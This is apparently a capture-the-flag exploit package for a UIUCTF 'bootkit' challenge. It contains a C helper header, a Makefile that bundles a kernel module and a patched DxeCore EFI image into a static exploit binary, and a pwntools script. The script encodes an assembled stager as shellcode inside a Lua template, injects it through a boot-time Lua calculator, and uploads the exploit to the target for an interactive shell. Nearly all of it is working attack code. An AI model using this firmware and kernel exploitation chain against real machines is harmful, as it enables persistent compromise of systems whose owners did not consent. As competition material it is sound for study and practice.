#define _GNU_SOURCE#include <err.h>#include <errno.h>#include <fcntl.h>#include <pthread.h>#include <sched.h>#include <stdarg.h>#include <stdbool.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/ioctl.h>#include <sys/mman.h>#include <sys/resource.h>#include <sys/syscall.h>#include <unistd.h>
typedef uint64_t u64;typedef uint32_t u32;typedef uint16_t u16;typedef uint8_t u8;
typedef int64_t i64;typedef int32_t i32;typedef int16_t i16;typedef int8_t i8;
typedef size_t usize;
#define RESET "\033[0m"#define BLUE "\033[34m"#define CYAN "\033[36m"#define GREEN "\033[32m"#define MAGENTA "\033[95m"#define RED "\033[91m"#define WHITE "\033[38;2;255;255;255m"#define YELLOW "\033[33m"
void vpanic(const char *fmt, va_list args) { printf("[" RED "PANIC" RESET "] "); vprintf(fmt, args); printf("\n"); exit(1);}
void panic(const char *fmt, ...) { va_list args; va_start(args, fmt); vpanic(fmt, args); va_end(args);}
void vwarn(const char *fmt, va_list args) { printf("[" YELLOW "!" RESET "] "); vprintf(fmt, args); printf("\n");}
void warn(const char *fmt, ...) { va_list args; va_start(args, fmt); vwarn(fmt, args); va_end(args);}
void vinfo(const char *fmt, va_list args) { printf("[" BLUE "*" RESET "] "); vprintf(fmt, args); printf("\n");}
void info(const char *fmt, ...) { va_list args; va_start(args, fmt); vinfo(fmt, args); va_end(args);}
#define chk(expr) \ ({ \ typeof(expr) _i = (expr); \ if (0 > (long)_i) { \ panic("error at %s:%d: returned %d, %s", __FILE__, __LINE__, _i, \ strerror(errno)); \ } \ _i; \ })
#define try(expr) \ ({ \ int _i = (expr); \ if (0 > _i) { \ warn("pwn: error at %s:%d: returned %d, %s", __FILE__, __LINE__, _i, \ strerror(errno)); \ } \ _i; \ })
void stall() { info("pause: "); getchar();}
void hang() { sleep(10000000); }
void raise_fd_limit() { struct rlimit cur; try(getrlimit(RLIMIT_NOFILE, &cur)); info("raising fd limit from %lu to %lu", cur.rlim_cur, cur.rlim_max); cur.rlim_cur = cur.rlim_max; try(setrlimit(RLIMIT_NOFILE, &cur));}
void pin_to_cpu(int cpu) { cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(cpu, &cpuset);
pthread_t self = pthread_self(); try(pthread_setaffinity_np(self, sizeof(cpuset), &cpuset));
try(pthread_getaffinity_np(self, sizeof(cpuset), &cpuset)); if (!CPU_ISSET(cpu, &cpuset)) { warn("failed to pin to cpu %d", cpu); }}
#endif
Makefile
build: objcopy -I binary -O elf64-x86-64 teemo.ko teemo.elf objcopy -I binary -O elf64-x86-64 DxeCore_patched.efi dxe.elf zig cc exploit.c teemo.elf dxe.elf solve.S -target x86_64-linux-musl -static -Os -g -no-pie -o exploit.debug -ffunction-sections -fdata-sections -flto cp exploit.debug pwn strip pwn tar -czf pwn.tar pwn
solve.py
from pwn import *
os.system("nasm -f bin stager.asm -o stager.bin")stager = open("stager.bin", "rb").read()
stager = stager.ljust(len(stager) + 7 & ~7, b"\xcc")parts = [stager[i:i+8] for i in range(0, len(stager), 8)]final = []for part in parts: content = "".join(f"\\x{byte:02x}" for byte in part) final.append(f"\"{content}\"")final = "..\n".join(final)template = open("template.lua").read()template = template.replace("[SHELLCODE]", f"shellcode = {final}")with open("solve.lua", "w+") as fp: fp.write(template)
context.log_level = "DEBUG"
if args.REMOTE: p = remote("bootkit.chal.uiuc.tf", "1337", ssl=True)else: p = process("./run.sh")p.recvuntil(b"Boot in 4")p.send(b"\x1b[B")p.send(b"\n")p.send(template)p.send(b"\n")p.recvuntil(b"Calculator (Lua 5.2)")p.recvuntil(b"Calculator (Lua 5.2)")p.send(b"\n")
from pwnc.kernel.util import remote_uploadexploit = open("pwn", "rb").read()
context.log_level = "INFO"
if args.REMOTE: p.recvuntil(b"/root ") remote_upload(p, exploit, "/root", b"# ")
p.interactive()